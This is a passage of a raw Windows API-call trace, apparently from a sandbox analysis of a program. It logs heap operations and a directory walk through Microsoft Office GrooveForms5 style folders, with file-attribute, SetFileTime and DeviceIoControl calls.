RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f1d8 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040610 [0069.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.573] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f1f8 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040718 [0069.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.573] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f218 [0069.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040820 [0069.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.574] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.574] GetLastError () returned 0x12 [0069.574] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.574] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.574] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.574] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.574] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.574] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.574] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.574] GetLastError () returned 0x12 [0069.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.574] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74f, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="")) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79023600, ftCreationTime.dwHighDateTime=0x1ca2b70, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79023600, ftLastWriteTime.dwHighDateTime=0x1ca2b70, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="")) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="")) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60dfe600, ftCreationTime.dwHighDateTime=0x1ca2b73, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x60dfe600, ftLastWriteTime.dwHighDateTime=0x1ca2b73, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_spellcheck.gif", cAlternateFileName="")) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="")) returned 1 [0069.575] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0069.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.576] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1075290 [0069.576] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1075290, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1075290, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1075290) returned 1 [0069.576] NtClose (Handle=0x190) returned 0x0 [0069.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.577] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.577] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.577] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.577] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f238 [0069.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040928 [0069.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.578] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f258 [0069.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040a30 [0069.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.578] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.578] GetLastError () returned 0x12 [0069.578] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.578] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.578] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.578] GetLastError () returned 0x12 [0069.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.579] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.579] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0069.579] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="")) returned 1 [0069.579] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0069.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.579] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1075290 [0069.579] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1075290, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1075290, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1075290) returned 1 [0069.580] NtClose (Handle=0x18c) returned 0x0 [0069.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.580] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft 